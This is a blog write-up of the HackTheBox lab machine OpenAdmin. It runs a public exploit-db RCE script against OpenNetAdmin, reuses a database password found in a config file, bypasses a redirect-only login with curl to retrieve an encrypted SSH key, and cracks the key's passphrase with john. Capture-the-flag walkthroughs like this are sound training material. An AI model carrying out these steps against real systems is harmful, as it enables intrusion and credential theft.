OpenAdmin – HackTheBox WriteUp

post image

Summary

OpenAdmin just retired today. I had lots of fun solving it and I learned that nano can be abused for privesc (just like vim). Its IP address is ‘10.10.10.171’ and I added it to ‘/etc/hosts’ as ‘openadmin.htb’. Without further ado, let’s jump right in!

Scanning and Shell as www-data

A basic nmap scan was enough to get me started:

root@fury-battlestation:~/htb/blog/openadmin# nmap -sV -oN scan.txt openadmin.htb
# Nmap 7.80 scan initiated Wed Mar 18 12:14:26 2020 as: nmap -sV -oN scan.txt openadmin.htb
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 18 12:14:52 2020 -- 1 IP address (1 host up) scanned in 25.96 seconds
root@fury-battlestation:~/htb/blog/openadmin#

Port 80 hosted the default Apache page:

As there were no more ports open (except 22 - which I couldn’t see a way to exploit), I ran dirb on the site:

root@fury-battlestation:~/htb/blog/openadmin# dirb http://openadmin.htb

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Mar 18 12:12:18 2020
URL_BASE: http://openadmin.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://openadmin.htb/ ----
==> DIRECTORY: http://openadmin.htb/artwork/                                                     
+ http://openadmin.htb/index.html (CODE:200|SIZE:10918)                                          
==> DIRECTORY: http://openadmin.htb/music/                                                       
+ http://openadmin.htb/server-status (CODE:403|SIZE:278)                                         
                                                                                                 
---- Entering directory: http://openadmin.htb/artwork/ ----
==> DIRECTORY: http://openadmin.htb/artwork/css/                                                 
==> DIRECTORY: http://openadmin.htb/artwork/fonts/                                               
==> DIRECTORY: http://openadmin.htb/artwork/images/                                              
+ http://openadmin.htb/artwork/index.html (CODE:200|SIZE:14461)                                  
^C> Testing: http://openadmin.htb/artwork/jennifer                                               
root@fury-battlestation:~/htb/blog/openadmin# 

Dirb found multiple folders, but the most intresting ones are /artwork/ and /music/:

By clicking ‘login’ on the /music/ page, I got redirected to /ona:

As even the app complained the version is outdated, I started searching for exploits online and found this one. I downloaded it, converted it to a unix file (it contained \r characters) and then ran it against the /ova/ directory:

root@fury-battlestation:~/htb/blog/openadmin# wget https://www.exploit-db.com/raw/47691 -O exploit.sh
--2020-03-18 12:34:20--  https://www.exploit-db.com/raw/47691
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 779 [text/plain]
Saving to: ‘exploit.sh’

exploit.sh               100%[================================>]     779  --.-KB/s    in 0s      

2020-03-18 12:34:20 (2.68 MB/s) - ‘exploit.sh’ saved [779/779]

root@fury-battlestation:~/htb/blog/openadmin# dos2unix ./exploit.sh 
dos2unix: converting file ./exploit.sh to Unix format...
root@fury-battlestation:~/htb/blog/openadmin# chmod +x exploit.sh 
root@fury-battlestation:~/htb/blog/openadmin# ./exploit.sh http://openadmin.htb/ona/
$ whoami
www-data
$ 

That was easy, wasn’t it? :)

Getting user.txt

After getting a shell, I found mysef in ova’s http directory:

$ ls -l
total 60
drwxrwxr-x 2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r-- 1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r-- 1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x 9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r-- 1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r-- 1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r-- 1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x 2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 workspace_plugins
$ pwd
/opt/ona/www
$

After a bit of playing around, I found the database password in a config file:

$ cd ./local/config; pwd; cat ./database_settings.inc.php
/opt/ona/www/local/config
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

$

The password din’t look random, so I enumerated the users of the box and tried to log in as them using it:

$ ls /home
jimmy
joanna
$ 

The password worked for jimmy:

root@fury-battlestation:~/htb/blog/openadmin# ssh jimmy@openadmin.htb
jimmy@openadmin.htb\'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Mar 18 16:54:49 UTC 2020

  System load:  1.63              Processes:             129
  Usage of /:   49.6% of 7.81GB   Users logged in:       1
  Memory usage: 19%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ ls
jimmy@openadmin:~$

However, there was no user proof in jimmy’s home directory. This made me believe that the user proof was located in joanna’s. After some basic enumeration, I discovered an interesting folder in /var/www:

jimmy@openadmin:/var/www$ cd internal/
jimmy@openadmin:/var/www/internal$ l
index.php*  logout.php*  main.php*
jimmy@openadmin:/var/www/internal$

The ‘main.php’ file seemed to print joanna’s id_rsa file if the user was logged in:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

The code that handled authentication was located in index.php. As the file was a little bit long, I will only paste the snippet that allowed me to move further:

<?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>

The web app only authenticated the user if the username was jimmy and the given password hashed to a hard-coded string. A quick visit to CrackStation revealed that the password was… Revealed. The site was not exposed externally (and was hosted inside a folder called ‘internal’), so it was most probably running on a local port. A quick ‘netstat’ command revealed all open local ports:

jimmy@openadmin:/var/www/internal$ netstat -na | grep -i LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:9876            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:9877            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
unix  2      [ ACC ]     STREAM     LISTENING     16644    /var/run/dbus/system_bus_socket
[...]
jimmy@openadmin:/var/www/internal$

There are only a few possible ports, so I used curl to test each of them individually. Port 52846 worked:

jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php --output -
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$

I saved the key to ~/.ssh/openadmin_user and used it to connect as joanna:

root@fury-battlestation:~/htb/blog/openadmin# ssh joanna@openadmin.htb -i ~/.ssh/openadmin_user 
Enter passphrase for key '/root/.ssh/openadmin_user': 

root@fury-battlestation:~/htb/blog/openadmin#

The key is password-protected, so I used john to crack the passphrase and then removed it from the key:

/usr/share/john/ssh2john.py
root@fury-battlestation:~/htb/blog/openadmin# /usr/share/john/ssh2john.py ~/.ssh/openadmin_user > crackme
root@fury-battlestation:~/htb/blog/openadmin# john --wordlist=/usr/share/wordlists/rockyou.txt crackme
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (/root/.ssh/openadmin_user)
1g 0:00:00:07 DONE (2020-03-18 13:14) 0.1410g/s 2022Kp/s 2022Kc/s 2022KC/sa6_123..*7¡Vamos!
Session completed
root@fury-battlestation:~/htb/blog/openadmin# ssh-keygen -p -P bloodninjas -N '' -f ~/.ssh/openadmin_user
Your identification has been saved with the new passphrase.
root@fury-battlestation:~/htb/blog/openadmin#

I was then able to use the key to log in as joanna:

root@fury-battlestation:~/htb/blog/openadmin# ssh joanna@openadmin.htb -i ~/.ssh/openadmin_user 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 2.0


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.


Last login: Thu Jan  2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ wc user.txt 
 1  1 33 user.txt
joanna@openadmin:~$

The user proof starts with ‘c9’ 😉

Wait… what?!

Loog again at the curl command:

curl http://127.0.0.1:52846/main.php --output -

Does it look like I provided the authentication data? No, I didn’t. The reason is simple: the authentication mechanism in main.php is flawed:

session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };

The above script just adds a redirection header; it does not stop the execution of the rest of the page. As cURL ignores redirection headers by default, I bypassed the authentication system (AWAE, here I come!).

Exploiting nano

After I submitted the use proof, I began enumeating the box again. I found out that joanna could run nano as root without providing a password:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$

I have never exploited nano for privesc, but lucky for me GTFOBins had an entry that showed the process step-by-step. I won’t post any snippet here, as that method kind of plays with your terminal display (do it and you’ll se what I’m talking about).

The root proof starts with ‘2f’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.

Published on May 2, 2020